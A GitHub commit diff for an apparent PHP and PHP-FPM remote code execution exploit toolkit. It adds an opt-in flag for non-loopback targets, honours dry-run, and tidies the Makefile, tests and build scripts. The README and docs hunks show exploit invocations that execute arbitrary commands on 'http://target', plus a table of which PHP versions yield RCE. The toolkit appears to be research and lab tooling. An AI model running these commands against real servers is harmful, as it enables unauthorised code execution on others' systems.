Skip to content

Commit aef09a5

Browse files
committed
Gate remote FPM use, honor --dry-run and tidy the tooling
- require --allow-remote for a non-loopback --base/--builder - make the dispatcher's FPM route honor --dry-run - move verification.json out of profiles/ and update its consumers - remove the phantom 7.2 FPM profile row - restore make lint for gitleaks, add make ruff, drop the release workflow - fall back to sysctl for JOBS and document the Linux /proc requirement
1 parent 37b12f8 commit aef09a5

13 files changed

Lines changed: 112 additions & 49 deletions

File tree

‎.github/workflows/ci.yml‎

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -55,8 +55,7 @@ jobs:
5555
5656
schema = json.loads(Path("profiles/schema.json").read_text())
5757
for path in sorted(Path("profiles").glob("*.json")):
58-
if path.name in ("schema.json", "fpm-schema.json",
59-
"verification.json"):
58+
if path.name in ("schema.json", "fpm-schema.json"):
6059
continue
6160
jsonschema.validate(json.loads(path.read_text()), schema)
6261
print(f"{path}: valid")

‎.github/workflows/release.yml‎

Lines changed: 0 additions & 21 deletions
This file was deleted.

‎Makefile‎

Lines changed: 12 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
.PHONY: help test lint secrets ci bootstrap inventory validate-profiles validate-fpm \
1+
.PHONY: help test lint ruff secrets ci bootstrap inventory validate-profiles validate-fpm \
22
build-nginx build-php build-all profile-draft calibrate-remote remote \
33
probe-remote remote-default matrix \
44
labs-up labs-down labs-status labs-test \
@@ -13,13 +13,15 @@ help: ## Show this help
1313
test: ## Run the unit test suite
1414
PYTHONDONTWRITEBYTECODE=1 python3 -m unittest discover -s tests -v
1515

16-
lint: ## Run ruff on the Python tools and tests
16+
lint: ## Run gitleaks to detect leaked secrets
17+
gitleaks detect --source . --no-git --redact -v
18+
19+
ruff: ## Run ruff on the Python tools and tests
1720
ruff check tools tests
1821

19-
secrets: ## Run gitleaks to detect leaked secrets
20-
gitleaks detect --source . --no-git --redact -v
22+
secrets: lint ## Backwards-compatible alias for lint
2123

22-
ci: lint test validate-profiles validate-fpm ## Run the fast CI checks locally
24+
ci: ruff test validate-profiles validate-fpm ## Run the fast CI checks locally
2325

2426
bootstrap: ## Fetch and pin the upstream exploit
2527
python3 tools/bootstrap_upstream.py
@@ -33,8 +35,7 @@ validate-profiles: ## Validate every build profile against the gener
3335
from pathlib import Path; \
3436
[jsonschema.validate(json.loads(p.read_text()), schema) or print(f' ok {p.name}') \
3537
for p in sorted(Path('profiles').glob('*.json')) \
36-
if p.name not in ('schema.json', 'fpm-schema.json', \
37-
'verification.json')]"
38+
if p.name not in ('schema.json', 'fpm-schema.json')]"
3839

3940
validate-fpm: ## Validate the PHP-FPM profiles against the FPM schema
4041
python3 -c "import glob, json, jsonschema; \
@@ -68,27 +69,27 @@ calibrate-remote: ## Discover a profile over HTTP only (VERSION=...
6869
@test -n "$(VERSION)" || \
6970
(echo "usage: make calibrate-remote VERSION=8.2.34 BASE=http://127.0.0.1:8406 BUILDER=http://127.0.0.1:8407"; exit 2)
7071
python3 tools/php2shell_fpm.py --version "$(VERSION)" \
71-
--base "$(BASE)" --builder "$(BUILDER)" calibrate
72+
--base "$(BASE)" --builder "$(BUILDER)" --allow-remote calibrate
7273

7374
remote: ## Run the 100%-remote chain (VERSION=... BASE=... BUILDER=...)
7475
@test -n "$(VERSION)" || \
7576
(echo "usage: make remote VERSION=8.2.34 BASE=http://127.0.0.1:8406 BUILDER=http://127.0.0.1:8407"; exit 2)
7677
python3 tools/php2shell_fpm.py --version "$(VERSION)" \
77-
--base "$(BASE)" --builder "$(BUILDER)" \
78+
--base "$(BASE)" --builder "$(BUILDER)" --allow-remote \
7879
--command "id>out/remote-$(VERSION)" --proof-file "out/remote-$(VERSION)" \
7980
no-oracle
8081

8182
probe-remote: ## Checklist of every chain precondition (VERSION=... BASE=...)
8283
@test -n "$(VERSION)" -a -n "$(BASE)" || \
8384
(echo "usage: make probe-remote VERSION=8.4.26 BASE=http://target"; exit 2)
8485
python3 tools/php2shell_fpm.py --version "$(VERSION)" \
85-
--base "$(BASE)" probe
86+
--base "$(BASE)" --allow-remote probe
8687

8788
remote-default: ## 100%-remote chain against a stock install (VERSION=... BASE=...)
8889
@test -n "$(VERSION)" -a -n "$(BASE)" || \
8990
(echo "usage: make remote-default VERSION=8.4.26 BASE=http://target"; exit 2)
9091
python3 tools/php2shell_fpm.py --version "$(VERSION)" \
91-
--base "$(BASE)" \
92+
--base "$(BASE)" --allow-remote \
9293
--command "id>out/remote-$(VERSION)" --proof-file "out/remote-$(VERSION)" \
9394
no-oracle
9495

‎README.md‎

Lines changed: 8 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -44,7 +44,7 @@ not match the profile.
4444
| PHP 8.1.33 FPM amd64 | php-8.1.33 source tarball (nginx+FPM) | `php-8.1.33-fpm` | http (stale string) | http (stale string) | **yes** | same chain; the stale struct is reclaimed from 7.4 on |
4545
| PHP 8.0.30 FPM amd64 | php-8.0.30 source tarball (nginx+FPM) | `php-8.0.30-fpm` | http (stale string) | http (stale string) | **yes** | same chain |
4646
| PHP 7.4.33 FPM amd64 | php-7.4.33 source tarball (nginx+FPM) | `php-7.4.33-fpm` | http (stale string) | http (stale string) | **yes** | same chain; `poison` also works |
47-
| PHP 7.2.34 FPM amd64 | php-7.2.34 source tarball (nginx+FPM) | `php-7.2.34-fpm` | no | no | no | arms the stale state; reclaim shape not found - `poison` plant |
47+
| PHP 7.2.34 FPM amd64 | php-7.2.34 source tarball (nginx+FPM) | — (plant only) | no | no | no | arms the stale state; reclaim shape not found; `poison` plant, no RCE profile |
4848
| PHP 8.4.25 aarch64 | `php:8.4.25-apache` | `php-8.4.25-bookworm-aarch64` | yes | yes | **yes** | probabilistic stage 3; retries |
4949
| PHP 8.5.0 aarch64 | `php:8.5.0-apache` | `php-8.5.0-bookworm` | yes | yes | no | stage-3 layout not found |
5050
| PHP 8.3.35 aarch64 | `php:8.3.35-apache` | `php-8.3.35-bookworm-aarch64` | yes | yes | no | stage-3 reference alive |
@@ -109,7 +109,7 @@ default retries because its stage 3 is probabilistic.
109109
the leak and reclaim geometry of any 7.4+ build over HTTP only;
110110
`poison` (the `session.upload_progress` session-file plant) covers 5.x and
111111
7.2; `php2shell_fpm_matrix.py` verifies the whole unpatched set in one run
112-
and records the verdicts in `profiles/verification.json`. The `no-oracle`
112+
and records the verdicts in `docs/calibration-logs/verification.json`. The `no-oracle`
113113
endgame is fully remote — no `/proc/<pid>/mem`, no local shell.
114114
- **PHP version registry** — `tools/php2shell_fpm_versions.py` is the single
115115
source of truth for the affected-version matrix: `is_vulnerable()`,
@@ -123,8 +123,10 @@ default retries because its stage 3 is probabilistic.
123123

124124
## Quick start
125125

126-
Requirements: Python 3.11+, Docker (for the labs), Linux or macOS on arm64 or
127-
amd64. Fetch the pinned upstream:
126+
Requirements: Python 3.11+, Docker (for the Apache labs), Linux or macOS on
127+
arm64 or amd64. The Apache chain works on both; the PHP-FPM `endgame`/oracle
128+
needs Linux `/proc` (the `no-oracle` path does not), and the FPM build scripts
129+
fall back to `sysctl` when `nproc` is unavailable. Fetch the pinned upstream:
128130

129131
```sh
130132
python3 tools/bootstrap_upstream.py
@@ -211,10 +213,10 @@ python3 tools/php2shell_fpm.py \
211213
# memory_limit=128M, pm=dynamic x5 workers, stock php.ini (nginx needs
212214
# client_max_body_size >= 5m for the arm body)
213215
python3 tools/php2shell_fpm.py \
214-
--base http://target --version 8.4.26 \
216+
--base http://target --allow-remote --version 8.4.26 \
215217
--command 'id>out/p1' --proof-file out/p1 no-oracle
216218
# checklist: does this target meet every precondition of the chain?
217-
python3 tools/php2shell_fpm.py --base http://target --version 8.4.26 probe
219+
python3 tools/php2shell_fpm.py --base http://target --allow-remote --version 8.4.26 probe
218220
# print only the leaked bases
219221
python3 tools/php2shell_fpm.py \
220222
--base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 --version 8.4.26 leak

‎docs/fpm-chain.md‎

Lines changed: 6 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -332,12 +332,12 @@ python3 tools/php2shell_fpm.py \
332332

333333
# stock installation: one URL, one pool, amplifier arm, worker fan-out
334334
python3 tools/php2shell_fpm.py \
335-
--base http://target --version 8.4.26 \
335+
--base http://target --allow-remote --version 8.4.26 \
336336
--command 'id>out/p1' --proof-file out/p1 \
337337
no-oracle
338338

339339
# checklist of every precondition (version, app operations, arm physics)
340-
python3 tools/php2shell_fpm.py --base http://target --version 8.4.26 probe
340+
python3 tools/php2shell_fpm.py --base http://target --allow-remote --version 8.4.26 probe
341341
```
342342

343343
(Global options come before the subcommand. `--workers N` - default 5 - fans
@@ -436,7 +436,7 @@ version (patched releases are skipped by design):
436436
8.4.26 REMOTE RCE uid=1000(...) ...
437437
```
438438

439-
Every run records its verdict in `profiles/verification.json` (merged, so a
439+
Every run records its verdict in `docs/calibration-logs/verification.json` (merged, so a
440440
later partial run does not erase earlier evidence); the README status table is
441441
updated from that file.
442442

@@ -445,7 +445,9 @@ updated from that file.
445445
- **Oracle lab mode.** `endgame` still uses the `/proc/<pid>/mem` oracle to
446446
resolve `d`. `no-oracle` drops that read at exploit time and leaks the
447447
chunk/PIE bases over HTTP by default; `--chunk`/`--pie` and local maps are
448-
overrides/fallbacks. The shipped chain still targets the loopback lab.
448+
overrides/fallbacks. The dispatcher stays loopback-only for FPM; the
449+
standalone client refuses a non-loopback `--base` unless `--allow-remote`
450+
is passed explicitly.
449451
- **Per-build offsets.** `basic_globals` / `zif_system` / `zval_ptr_dtor` are
450452
PIE-relative offsets for the exact FPM build; another distro or version
451453
needs its own profile (`sapi: "fpm"`, see `profiles/fpm-schema.json`).

‎lab/fpm/build_nginx.sh‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ HERE="$(cd "$(dirname "$0")" && pwd)"
1010
RUNTIME="$HERE/runtime"
1111
SRC="$RUNTIME/src"
1212
PREFIX="$RUNTIME/nginx"
13-
JOBS="${JOBS:-$(nproc)}"
13+
JOBS="${JOBS:-$(nproc 2>/dev/null || sysctl -n hw.ncpu 2>/dev/null || echo 2)}"
1414

1515
mkdir -p "$SRC"
1616

‎lab/fpm/build_php.sh‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,7 @@ HERE="$(cd "$(dirname "$0")" && pwd)"
1414
RUNTIME="$HERE/runtime"
1515
SRC="$RUNTIME/src"
1616
PREFIX="$RUNTIME/php-$VER"
17-
JOBS="${JOBS:-$(nproc)}"
17+
JOBS="${JOBS:-$(nproc 2>/dev/null || sysctl -n hw.ncpu 2>/dev/null || echo 2)}"
1818

1919
mkdir -p "$SRC"
2020

‎tests/test_core.py‎

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -147,8 +147,6 @@ class InventoryTests(unittest.TestCase):
147147
def test_profiles_are_valid(self):
148148
names = set()
149149
for path in sorted((ROOT / "profiles").glob("*.json")):
150-
if path.name == "verification.json":
151-
continue # verdict records written by the matrix run
152150
if path.name in ("schema.json", "fpm-schema.json"):
153151
continue
154152
data = json.loads(path.read_text())

‎tests/test_fpm.py‎

Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -107,6 +107,43 @@ def test_local_fallback_requires_explicit_opt_in(self):
107107
local.assert_called_once_with("8.4.26")
108108

109109

110+
class DispatcherDryRunTests(unittest.TestCase):
111+
"""--dry-run must not start the FPM chain."""
112+
113+
def test_dry_run_does_not_call_endgame(self):
114+
import php2shell_auto as auto
115+
116+
args = SimpleNamespace(
117+
target="http://127.0.0.1:8110/index.php", builder=None,
118+
command="id>/out/p1", proof_file=None, dry_run=True,
119+
allow_remote=False)
120+
ui = SimpleNamespace(
121+
stage=lambda *a, **k: None, info=lambda *a, **k: None,
122+
command=lambda *a, **k: None, crit=lambda *a, **k: None,
123+
result=lambda *a, **k: None)
124+
with mock.patch.object(fpm, "cmd_endgame") as endgame:
125+
self.assertEqual(auto.run_fpm_chain(ui, args, "8.4.26"), 0)
126+
endgame.assert_not_called()
127+
128+
129+
class RemoteAuthorizationTests(unittest.TestCase):
130+
"""Remote targets are opt-in, matching the Apache dispatcher."""
131+
132+
def test_loopback_is_allowed(self):
133+
self.assertTrue(fpm.remote_targets_allowed(
134+
"http://127.0.0.1:8110", "http://localhost:8111", False))
135+
136+
def test_remote_is_refused_by_default(self):
137+
self.assertFalse(fpm.remote_targets_allowed(
138+
"http://192.0.2.10", None, False))
139+
self.assertFalse(fpm.remote_targets_allowed(
140+
"http://127.0.0.1:8110", "http://192.0.2.11", False))
141+
142+
def test_explicit_opt_in_is_honoured(self):
143+
self.assertTrue(fpm.remote_targets_allowed(
144+
"http://192.0.2.10", None, True))
145+
146+
110147
class EndgamePayloadTests(unittest.TestCase):
111148
"""The forged buffer must encode the exact dtor-chain layout the
112149
8.4.26 source expects (var_unserializer.re, session.c, zend_hash.c)."""

0 commit comments

Comments
 (0)